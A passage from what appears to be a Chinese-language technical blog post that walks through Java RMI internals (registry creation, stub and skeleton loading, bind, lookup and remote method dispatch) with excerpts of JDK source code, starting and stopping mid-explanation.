1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 public static Remote createProxy (Class<?> implClass, RemoteRef clientRef, boolean forceStubUse) throws StubNotFoundException { if (forceStubUse || !(ignoreStubClasses || !stubClassExists(remoteClass))) { return createStub(remoteClass, clientRef); } } private static boolean stubClassExists (Class<?> remoteClass) { if (!withoutStubs.containsKey(remoteClass)) { try { Class.forName(remoteClass.getName() + "_Stub" , false , remoteClass.getClassLoader()); return true ; } catch (ClassNotFoundException cnfe) { withoutStubs.put(remoteClass, null ); } } return false ; }
createStub
函数通过反射将 RegistryImpl_Stub
类加载并实例化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 private static RemoteStub createStub (Class<?> remoteClass, RemoteRef ref) throws StubNotFoundException { String stubname = remoteClass.getName() + "_Stub" ; try { ClassLoader cl = remoteClass.getClassLoader(); Class<?> stubcl = Class.forName(stubname, false , cl); Constructor<?> cons = stubcl.getConstructor(stubConsParamTypes); return (RemoteStub) cons.newInstance(new Object []{ ref }); } catch (ClassNotFoundException e) { } }
之后回到 exportObject
,由于这时候是实例化的 RemoteStub
而不是创建远程对象的动态代理,因此会调用 setSkeleton
设置骨架。
1 2 3 4 if (stub instanceof RemoteStub) { setSkeleton(impl); }
setSkeleton
会调用 Util.createSkeleton
创建注册中心 RegistryImpl
的骨架类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 public void setSkeleton (Remote impl) throws RemoteException { if (!withoutSkeletons.containsKey(impl.getClass())) { try { skel = Util.createSkeleton(impl); } catch (SkeletonNotFoundException e) { withoutSkeletons.put(impl.getClass(), null ); } } } static Skeleton createSkeleton (Remote object) throws SkeletonNotFoundException { final Class<?> remoteClass; try { remoteClass = getRemoteClass(object.getClass()); } catch (ClassNotFoundException ex) { throw new SkeletonNotFoundException ( "no remote class for " + object.getClass().getName(), ex); } final String skelName = remoteClass.getName() + "_Skel" ; try { ClassLoader loader = remoteClass.getClassLoader(); Class<?> skelClass = Class.forName(skelName, false , loader); @SuppressWarnings("deprecation") Skeleton skel = (Skeleton) skelClass.newInstance(); return skel; } catch (ClassNotFoundException ex) { } }
createSkeleton
会根据传入的存根对象的类 RegistryImpl_Stub
找到对应的远程对象的类 RegistryImpl
,然后通过名称拼接得到对应的骨架对象 sun.rmi.registry.RegistryImpl_Skel
并使用反射将其加载并实例化。
之后依旧是:
封装 target
对象,将 ResgitryImpl
和 RegistryImpl_Stub
封装成 Target
。
LiveRef#exportObject
将 target
导出,开启监听端口。
putTarget
将 target
放入 objTable
和 implTable
。
完成远程对象创建和注册中心创建后,objTable
会有三个值:
DGC
垃圾回收:stub
为 DGCImpl_Stub
,skel
为 DGCImpl_Skel
。
创建的远程对象:stub
为远程对象的代理对象,skel
为 null
。
注册中心:stub
为 RegistryImpl_Stub
,skel
为 RegistryImpl_Skel
。
由上可知注册中心就是一个特殊的远程对象,和普通远程对象创建的差异:
LiveRef
的 id
为 0。
远程对象 Stub
为动态代理,注册中心的 Stub
为 RegistryImpl_Stub
,同时还创建了RegistryImpl_Skel
。
远程对象端口默认随机,注册中心端口默认 1099。
总结一下注册中心创建的一些关键点:
LocateRegistry#createRegistry
用于创建注册中心 RegistryImpl
。
注册中心是一个特殊的远程对象,对象 id 为 0。
导出时不会创建动态代理,而是找到 RegistryImpl_Stub
,同时创建了对应的骨架 RegistryImpl_Skel
,Stub 会被序列化传递给客户端,其重写了 Registry
的lookup
、bind
等方法,会对传输和接收的数据流进行序列化和反序列化。
后面的 socket 端口监听、target 存储到 objTables
和远程对象的导出一致。
远程对象注册 首先是直接使用 RegistryImpl
的 bind
方法注册的方式:
1 2 3 Registry registry = LocateRegistry.createRegistry(1099 );RemoteHello hello = new RemoteHello ();registry.bind("hello" , hello);
createRegistry :在当前 JVM 内 new RegistryImpl(port)
→ 调用 setup(...).exportObject(...)
把它导出 → 把这个实现对象本身返回 。你随后对 registry.bind(...)
的调用是本地方法调用 ,直接进 RegistryImpl#bind
,把 (name → obj)
放进 bindings
;不经过网络。
getRegistry / Naming.bind :拿到的是客户端引用(stub/动态代理) ,对它调用 bind(...)
会经由 JRMP 走网络,到达远端的 RegistryImpl#bind
。
这里的 bind
方法实际上就是把 name
和 obj
放到 bindings
这个哈希表中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public void bind (String name, Remote obj) throws RemoteException, AlreadyBoundException, AccessException { synchronized (bindings) { Remote curr = bindings.get(name); if (curr != null ) { throw new AlreadyBoundException (name); } bindings.put(name, obj); } }
如果是使用 Naming#bind
静态方法,则会先调用 getRegistry
获取 RMI URL 对应的注册中心存根 RegistryImpl_Stub
,之后和前面的方法一样调用的是 RegistryImpl_Stub
的 bind
方法完成远程对象的注册。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public static void bind (String name, Remote obj) throws AlreadyBoundException, java.net.MalformedURLException, RemoteException { ParsedNamingURL parsed = parseURL(name); Registry registry = getRegistry(parsed); if (obj == null ) { throw new NullPointerException ("cannot bind to null" ); } registry.bind(parsed.name, obj); }
RegistryImpl_Stub#bind
函数实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public void bind (java.lang.String $param_String_1, java.rmi.Remote $param_Remote_2) throws java.rmi.AccessException, java.rmi.AlreadyBoundException, java.rmi.RemoteException { try { StreamRemoteCall call = (StreamRemoteCall) ref.newCall(this , operations, 0 , interfaceHash); try { java.io.ObjectOutput out = call.getOutputStream(); out.writeObject($param_String_1); out.writeObject($param_Remote_2); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling arguments" , e); } ref.invoke(call); ref.done(call); } catch (java.lang.RuntimeException e) { } }
该函数首先调用 ref.newCall
建立与远程注册中心的连接从而创建一个远程调用对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 public RemoteCall newCall (RemoteObject obj, Operation[] ops, int opnum, long hash) throws RemoteException { clientRefLog.log(Log.BRIEF, "get connection" ); Connection conn = ref.getChannel().newConnection(); try { clientRefLog.log(Log.VERBOSE, "create call context" ); if (clientCallLog.isLoggable(Log.VERBOSE)) { logClientCall(obj, ops[opnum]); } RemoteCall call = new StreamRemoteCall (conn, ref.getObjID(), opnum, hash); try { marshalCustomCallData(call.getOutputStream()); } catch (IOException e) { throw new MarshalException ("error marshaling custom call data" , e); } return call; } catch (RemoteException e) { ref.getChannel().free(conn, false ); throw e; } }
StreamRemoteCall
创建远程调用对象时会写入如下内容用以为被调用方提供方法调用的相关信息。
操作码 opnum
(bind/0
,list/1
,lookup/2
对应不同的 opnum
),
对象 id(ref.getObjID()
,用来描述对象类型)
对于 RegistryImpl_Stub
,这里就是 0。
对于普通远程对象的动态代理 Stub
,这里就是其对应的 id。
之后在 RegistryImpl_Stub#bind
会将远程对象及其名称序列化后写入输出流,最后调用UnicastRef
的 invoke
方法(invoke
会调用 StreamRemoteCall#executeCall
,释放输出流,调用远程方法,将结果写进输入流)传给注册中心。
1 2 3 4 5 6 7 8 9 10 11 12 13 java.io.ObjectOutput out = call.getOutputStream(); out.writeObject($param_String_1); out.writeObject($param_Remote_2); ref.invoke(call); ref.done(call);
总结一下将远程对象注册到服务中心时的关键点:
一般注册中心和服务端都在一起,可直接调用 createRegistry
返回的RegistryImpl#bind
,也可以用 Naming#bind
。
Naming#bind
是通过 RegistryImpl_Stub
将服务名称和远程对象的动态代理 Stub 序列化后传递给注册中心,注册中心再进行 RegistryImpl#bind
。
服务发现 服务发现,就是获取注册中心并对其进行操作的过程。
关于服务发现,对于服务端来说:
其中第一种情况其本质是通过 getRegistry
方法获取注册中心,然后再将远程对注册到注册中心中。 这个过程就是服务发现。
而对于客户端,我们调用远程方法之前的第一件事情就是调用 getRegistry
方法获取注册中心,因此同样会涉及服务发现。
客户端/服务端部分 首先是获取注册中心:
1 Registry registry = LocateRegistry.getRegistry("127.0.0.1" , 1099 );
其中 getRegistry
函数实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 public static Registry getRegistry (String host, int port) throws RemoteException { return getRegistry(host, port, null ); } public static final int REGISTRY_PORT = 1099 ;public static Registry getRegistry (String host, int port, RMIClientSocketFactory csf) throws RemoteException { Registry registry; if (port <= 0 ) { port = Registry.REGISTRY_PORT; } if (host == null || host.length() == 0 ) { try { host = java.net.InetAddress.getLocalHost().getHostAddress(); } catch (Exception e) { host = "" ; } } LiveRef liveRef = new LiveRef ( new ObjID (ObjID.REGISTRY_ID), new TCPEndpoint (host, port, csf, null ), false ); RemoteRef ref = (csf == null ) ? new UnicastRef (liveRef) : new UnicastRef2 (liveRef); return (Registry) Util.createProxy(RegistryImpl.class, ref, false ); }
其中核心过程为:
通过传入的 host
和 port
创建一个 LiveRef
用于网络请求(注意这里传入的 ObjID
也是 0),并通过 UnicastRef
进行封装。
然后和注册中心的逻辑相同,尝试创建代理,这里同样获取了一个 RegistryImpl_Stub
对象。
接着在客户端,我们通过 lookup
与注册中心通信,查找远程对象获取存根。
1 Hello hello = (Hello) registry.lookup("hello" );
RegistryImpl_Stub#lookup
函数代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 public java.rmi.Remote lookup (java.lang.String $param_String_1) throws java.rmi.AccessException, java.rmi.NotBoundException, java.rmi.RemoteException { try { StreamRemoteCall call = (StreamRemoteCall) ref.newCall(this , operations, 2 , interfaceHash); try { java.io.ObjectOutput out = call.getOutputStream(); out.writeObject($param_String_1); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling arguments" , e); } ref.invoke(call); java.rmi.Remote $result; try { java.io.ObjectInput in = call.getInputStream(); $result = (java.rmi.Remote) in.readObject(); } catch (ClassCastException | java.io.IOException | ClassNotFoundException e) { throw new java .rmi.UnmarshalException("error unmarshalling return" , e); } finally { ref.done(call); } return $result; } catch (java.lang.RuntimeException e) { throw e; } }
与前面 RegistryImpl_Stub#bind
类似:
RegistryImpl_Stub#lookup
同样会调用 newCall
建立与远程注册中心的连接。
然后再通过序列化将要查找的名称写入输出流。
之后调用调用 UnicastRef
的 invoke
方法将序列化的名称传给远程的注册中心。
最后获取输入流,将返回值进行反序列化,得到远程对象的动态代理 Stub。
最后总结一下,就是:
LocateRegistry.getRegistry
用于获取注册中心的 Stub,即 RegistryImpl_Stub
,过程和注册中心的创建一样,都是调用 Util#createProxy
。
注册中心实际上相当于一个客户端知道其端口号的远程对象。
RegistryImpl_Stub#lookup
首先建立与注册中心的连接,服务名称序列化后写入输出流,释放输出流,等待远程返回,获取输入流进行反序列化,得到远程对象的动态代理Stub。
注册中心部分 注册中心由 sun.rmi.transport.tcp.TCPTransport#handleMessages
来处理请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 void handleMessages (Connection conn, boolean persistent) { int port = getEndpoint().getPort(); try { DataInputStream in = new DataInputStream (conn.getInputStream()); do { int op = in.read(); switch (op) { case TransportConstants.Call: { RemoteCall call = new StreamRemoteCall (conn); if (!serviceCall(call)) { return ; } break ; } case TransportConstants.Ping: { DataOutputStream out = new DataOutputStream (conn.getOutputStream()); out.writeByte(TransportConstants.PingAck); conn.releaseOutputStream(); break ; } case TransportConstants.DGCAck: { DGCAckHandler.received(UID.read(in)); break ; } default : throw new IOException ("unknown transport op " + op); } } while (persistent); } catch (IOException e) { } }
首先 handleMessages
会根据数据流的第一个操作数数值决定如何处理数据,这里主要是 Call
操作。对于 Call
操作,这里会创建一个 StreamRemoteCall
(和客户端一样),然后调用 serviceCall
。
1 2 3 4 5 6 case TransportConstants.Call: RemoteCall call = new StreamRemoteCall (conn); if (serviceCall(call) == false ) return ; break ;
serviceCall
函数代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 public boolean serviceCall (final RemoteCall call) { try { final Remote impl; ObjID id; try { id = ObjID.read(call.getInputStream()); } catch (java.io.IOException e) { throw new MarshalException ("unable to read objID" , e); } Transport transport = id.equals(dgcID) ? null : this ; Target target = ObjectTable.getTarget(new ObjectEndpoint (id, transport)); if (target == null || (impl = target.getImpl()) == null ) { throw new NoSuchObjectException ("no such object in table" ); } final Dispatcher disp = target.getDispatcher(); target.incrementCallCount(); try { transportLog.log(Log.VERBOSE, "call dispatcher" ); final AccessControlContext acc = target.getAccessControlContext(); ClassLoader ccl = target.getContextClassLoader(); ClassLoader savedCcl = Thread.currentThread().getContextClassLoader(); try { setContextClassLoader(ccl); currentTransport.set(this ); java.security.AccessController.doPrivileged( new java .security.PrivilegedExceptionAction<Void>() { public Void run () throws IOException { checkAcceptPermission(acc); disp.dispatch(impl, call); return null ; } }, acc); } catch (java.security.PrivilegedActionException pae) { throw (IOException) pae.getException(); } finally { setContextClassLoader(savedCcl); currentTransport.set(null ); } } catch (IOException ex) { } } catch (RemoteException e) { } return true ; }
该函数的主要逻辑是:
首先该函数会先调用 ObjID.read(call.getInputStream())
获取对象 id,对于注册中心这里获取的 id 是 0。
之后调用 ObjectTable.getTarget
根据创建的 ObjectEndpoint
在 ObjectTable
中查询对应的 target
对象。这里的 target
对象是在前面导出注册中心的时候放入 ObjectTable
的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public void exportObject (Target target) throws RemoteException { target.setExportedTransport(this ); ObjectTable.putTarget(target); }
通过 getDispatcher
方法获取 target
对象的远程对象引用 disp
(实际上是 UnicastServerRef
)。
调用 UnicastServerRef#dispatch
将方法调用分发给服务端的远程对象并序列化服务端调用返回的结果。
dispatch
函数首先读取操作数 num
(即前面的 opnum
),接着会会根据 skel
是否为空来区别 RegistryImpl
和 UnicastRemoteObject
(即区别注册中心和普通远程对象)。对于注册中心 dispatch
函数会调用 oldDispatch
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 public void dispatch (Remote obj, RemoteCall call) throws IOException { int num; long op; try { ObjectInput in; try { in = call.getInputStream(); num = in.readInt(); } catch (Exception readEx) { throw new UnmarshalException ("error unmarshalling call header" , readEx); } if (num >= 0 ) { if (skel != null ) { oldDispatch(obj, call, num); return ; } else { throw new UnmarshalException ( "skeleton class not found but required for client version" ); } }
oldDispatch
会调用 skel
的 dispatch
方法。根据前面对注册中心创建过程中的 objTable
的值的分析可知,这里调用的是 RegistryImpl_Skel#dispatch
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 private void oldDispatch (Remote obj, RemoteCall call, int op) throws Exception { long hash; ObjectInput in = call.getInputStream(); try { hash = in.readLong(); } catch (Exception ioe) { throw new UnmarshalException ("error unmarshalling call header" , ioe); } Operation[] operations = skel.getOperations(); logCall(obj, (op >= 0 && op < operations.length) ? operations[op] : ("op: " + op)); unmarshalCustomCallData(in); skel.dispatch(obj, call, op, hash); }
RegistryImpl_Skel#dispatch
会根据 opnum
进行不同的处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 switch (opnum) { case 0 : { } case 1 : { } case 2 : { } case 3 : { } case 4 : { } default : throw new java .rmi.UnmarshalException("invalid method number" ); }
对于客户端的 lookup
调用代码逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 case 2 : { java.lang.String $param_String_1; try { ObjectInputStream in = (ObjectInputStream) call.getInputStream(); $param_String_1 = SharedSecrets.getJavaObjectInputStreamReadString().readString(in); } catch (ClassCastException | IOException e) { call.discardPendingRefs(); throw new java .rmi.UnmarshalException("error unmarshalling arguments" , e); } finally { call.releaseInputStream(); } java.rmi.Remote $result = server.lookup($param_String_1); try { java.io.ObjectOutput out = call.getResultStream(true ); out.writeObject($result); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling return" , e); } break ; }
数据流中读取名称字符串 $param_String_1
。
调用 server.lookup
查询对应的远程对象。这里 server
实际上就是 RegistryImpl
,因此调用的是 RegistryImpl#lookup
并最终在 bindings
哈希表中查询对应的远程对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public Remote lookup (String name) throws RemoteException, NotBoundException { synchronized (bindings) { Remote obj = bindings.get(name); if (obj == null ) { throw new NotBoundException (name); } return obj; } }
将查询到的远程对象序列化后写入输出流。
对于服务端的 bind
调用代码逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 case 0 : { RegistryImpl.checkAccess("Registry.bind" ); java.lang.String $param_String_1; java.rmi.Remote $param_Remote_2; try { ObjectInputStream in = (ObjectInputStream) call.getInputStream(); $param_String_1 = SharedSecrets.getJavaObjectInputStreamReadString().readString(in); $param_Remote_2 = (java.rmi.Remote) in.readObject(); } catch (ClassCastException | IOException | ClassNotFoundException e) { call.discardPendingRefs(); throw new java .rmi.UnmarshalException("error unmarshalling arguments" , e); } finally { call.releaseInputStream(); } server.bind($param_String_1, $param_Remote_2); try { call.getResultStream(true ); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling return" , e); } break ; }
从输入流反序列化得到远程对象及其名称。
调用 RegistryImpl#bind
方法将远程对象名称与远程对象作为键值对存入哈希表 bindings
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public void bind (String name, Remote obj) throws RemoteException, AlreadyBoundException, AccessException { synchronized (bindings) { Remote curr = bindings.get(name); if (curr != null ) { throw new AlreadyBoundException (name); } bindings.put(name, obj); } }
服务调用 服务调用即客户端调用远程对象的方法的过程,期间还会传递参数和返回值:
1 2 Hello hello = (Hello) registry.lookup("hello" );System.out.println(hello.sayHello("sky123" ));
客户端部分 根据前面的分析我们知道,客户端从注册中心查询到的服务实际上是远程对象的存根(Stub
,即远程对象的动态代理)。因此当我们在客户端调用远程对象的方法实际上会被代理类转发到 InvocationHandler
的 invoke
方法上。又因为根据前面对远程对象创建过程的分析可知,创建远程对象的代理类时使用的 InvocationHandler
实际上是 RemoteObjectInvocationHandler
,对应的 invoke
方法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { if (!Proxy.isProxyClass(proxy.getClass())) { throw new IllegalArgumentException ("not a proxy" ); } if (Proxy.getInvocationHandler(proxy) != this ) { throw new IllegalArgumentException ("handler mismatch" ); } if (method.getDeclaringClass() == Object.class) { return invokeObjectMethod(proxy, method, args); } else if ("finalize" .equals(method.getName()) && method.getParameterCount() == 0 && !allowFinalizeInvocation) { return null ; } else { return invokeRemoteMethod(proxy, method, args); } }
这个函数的主要逻辑为:
如果调用的是 Object
声明的方法(如 getClass
,hashCode
,equals
之类的),则接调用 invokeObjectMethod
方法进行处理。
若调用的是远程对象自己的方法,接调用 invokeRemoteMethod
函数执行远程方法调用。
invokeRemoteMethod
函数实际是委托 RemoteRef
的子类的 UnicastRef#invoke
方法来执行。这里 UnicastRef#invoke
传入的 getMethodHash(method)
参数是方法的哈希值,后面服务端会根据这个哈希值找到相应的方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private Object invokeRemoteMethod (Object proxy, Method method, Object[] args) throws Exception { try { if (!(proxy instanceof Remote)) { throw new IllegalArgumentException ("proxy not Remote instance" ); } return ref.invoke((Remote) proxy, method, args, getMethodHash(method)); } catch (Exception e) { } }
UnicastRef#invoke
函数的逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 public Object invoke (Remote obj, Method method, Object[] params, long opnum) throws Exception { if (clientRefLog.isLoggable(Log.VERBOSE)) { clientRefLog.log(Log.VERBOSE, "method: " + method); } if (clientCallLog.isLoggable(Log.VERBOSE)) { logClientCall(obj, method); } Connection conn = ref.getChannel().newConnection(); RemoteCall call = null ; boolean reuse = true ; boolean alreadyFreed = false ; try { if (clientRefLog.isLoggable(Log.VERBOSE)) { clientRefLog.log(Log.VERBOSE, "opnum = " + opnum); } call = new StreamRemoteCall (conn, ref.getObjID(), -1 , opnum); try { ObjectOutput out = call.getOutputStream(); marshalCustomCallData(out); Class<?>[] types = method.getParameterTypes(); for (int i = 0 ; i < types.length; i++) { marshalValue(types[i], params[i], out); } } catch (IOException e) { clientRefLog.log(Log.BRIEF, "IOException marshalling arguments: " , e); throw new MarshalException ("error marshalling arguments" , e); } call.executeCall(); try { Class<?> rtype = method.getReturnType(); if (rtype == void .class) { return null ; } ObjectInput in = call.getInputStream(); Object returnValue = unmarshalValue(rtype, in); alreadyFreed = true ; clientRefLog.log(Log.BRIEF, "free connection (reuse = true)" ); ref.getChannel().free(conn, true ); return returnValue; } catch (IOException | ClassNotFoundException e) { ((StreamRemoteCall) call).discardPendingRefs(); clientRefLog.log(Log.BRIEF, e.getClass().getName() + " unmarshalling return: " , e); throw new UnmarshalException ("error unmarshalling return" , e); } finally { try { call.done(); } catch (IOException e) { reuse = false ; } } } catch (RuntimeException e) { if ((call == null ) || (((StreamRemoteCall) call).getServerException() != e)) { reuse = false ; } throw e; } catch (RemoteException e) { reuse = false ; throw e; } catch (Error e) { reuse = false ; throw e; } finally { if (!alreadyFreed) { if (clientRefLog.isLoggable(Log.BRIEF)) { clientRefLog.log(Log.BRIEF, "free connection (reuse = " + reuse + ")" ); } ref.getChannel().free(conn, reuse); } } }
首先 UnicastRef
的 LiveRef
属性包含 Endpoint
、Channel
封装和与网络通信有关的方法,其中包含服务端该 stub
对应的监听端口,因此我们可以通过 ref.getChannel().newConnection()
建立与服务端的连接并得到链接对象 conn
。
之后利用这个链接对象 conn
创建一个 StreamRemoteCall
对象并传入:
1 call = new StreamRemoteCall (conn, ref.getObjID(), -1 , opnum);
conn
:网络连接相关。
ref.getObjID()
:用来表示远程对象。
op
:传递一个负数(-1),让被调用方通过方法哈希来确定被调用的方法。
opnum
:前面 getMethodHash(method)
计算得到的被调用方法的哈希。
之后若方法有参数,则调用 marshalValue
将参数序列化,并写入输出流。
1 2 3 4 Class<?>[] types = method.getParameterTypes(); for (int i = 0 ; i < types.length; i++) { marshalValue(types[i], params[i], out); }
marshalValue
会对 Object
类型的参数进行序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 protected static void marshalValue (Class<?> type, Object value, ObjectOutput out) throws IOException { if (type.isPrimitive()) { if (type == int .class) { out.writeInt(((Integer) value).intValue()); } else if (type == boolean .class) { out.writeBoolean(((Boolean) value).booleanValue()); } else if (type == byte .class) { out.writeByte(((Byte) value).byteValue()); } else if (type == char .class) { out.writeChar(((Character) value).charValue()); } else if (type == short .class) { out.writeShort(((Short) value).shortValue()); } else if (type == long .class) { out.writeLong(((Long) value).longValue()); } else if (type == float .class) { out.writeFloat(((Float) value).floatValue()); } else if (type == double .class) { out.writeDouble(((Double) value).doubleValue()); } else { throw new Error ("Unrecognized primitive type: " + type); } } else { out.writeObject(value); } }
之后 call.executeCall
执行远程方法调用,该函数主要逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 @SuppressWarnings("fallthrough") public void executeCall () throws Exception { byte returnType; DGCAckHandler ackHandler = null ; try { if (out != null ) { ackHandler = out.getDGCAckHandler(); } releaseOutputStream(); DataInputStream rd = new DataInputStream (conn.getInputStream()); byte op = rd.readByte(); if (op != TransportConstants.Return) { } getInputStream(); returnType = in.readByte(); in.readID(); } catch (UnmarshalException e) { } switch (returnType) { case TransportConstants.NormalReturn: break ; case TransportConstants.ExceptionalReturn: Object ex; try { ex = in.readObject(); } catch (Exception e) { discardPendingRefs(); throw new UnmarshalException ("Error unmarshaling return" , e); } break ; } }
我们主要关心的部分为:
首先 executeCall
会调用 releaseOutputStream
释放输出流,即发送数据给服务端。
getInputStream
读取返回的数据,写到 in
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public ObjectInput getInputStream () throws IOException { if (in == null ) { in = new ConnectionInputStream (conn.getInputStream()); } return in; }
从 in
中读取返回类型 returnType
。
服务端部分 与前面的服务发现过程中的注册中心部分一样,客户端进行远程调用时服务端同样会执行到 sun.rmi.transport.tcp.TCPTransport#handleMessages
进而调用到 UnicastServerRef#dispatch
。
只不过这次在 UnicastServerRef#dispatch
中不会调用 oldDispatch
函数而是继续往下执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ObjectInput in; try { in = call.getInputStream(); num = in.readInt(); } catch (Exception readEx) { throw new UnmarshalException ("error unmarshalling call header" , readEx); } if (num >= 0 ) { if (skel != null ) { oldDispatch(obj, call, num); return ; } else { throw new UnmarshalException ( "skeleton class not found but required for client version" ); } try { op = in.readLong(); } catch (Exception readEx) { throw new UnmarshalException ("error unmarshalling call header" , readEx); }
首先根据哈希从哈希表中找到对应的方法:
1 2 3 4 5 6 7 Method method = hashToMethod_Map.get(op);if (method == null ) { throw new UnmarshalException ( "unrecognized method hash: method not supported by remote object" ); }
之后调用 unmarshalParametersChecked
函数对参数进行反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 private Object[] unmarshalParametersChecked( DeserializationChecker checker, Method method, MarshalInputStream in) throws IOException, ClassNotFoundException { int callID = methodCallIDCount.getAndIncrement(); MyChecker myChecker = new MyChecker (checker, method, callID); in.setStreamChecker(myChecker); try { Class<?>[] types = method.getParameterTypes(); Object[] values = new Object [types.length]; for (int i = 0 ; i < types.length; i++) { myChecker.setIndex(i); values[i] = unmarshalValue(types[i], in); } myChecker.end(callID); return values; } finally { in.setStreamChecker(null ); } } MarshalInputStream marshalStream = (MarshalInputStream) in;marshalStream.skipDefaultResolveClass(); logCall(obj, method); Object[] params = null ; try { unmarshalCustomCallData(in); params = unmarshalParameters(obj, method, marshalStream); } catch (AccessException aex) { ((StreamRemoteCall) call).discardPendingRefs(); throw aex; } catch (java.io.IOException | ClassNotFoundException e) { ((StreamRemoteCall) call).discardPendingRefs(); throw new UnmarshalException ("error unmarshalling arguments" , e); } finally { call.releaseInputStream(); }
之后反射调用远程对象的方法,然后将结果通过 marshalValue
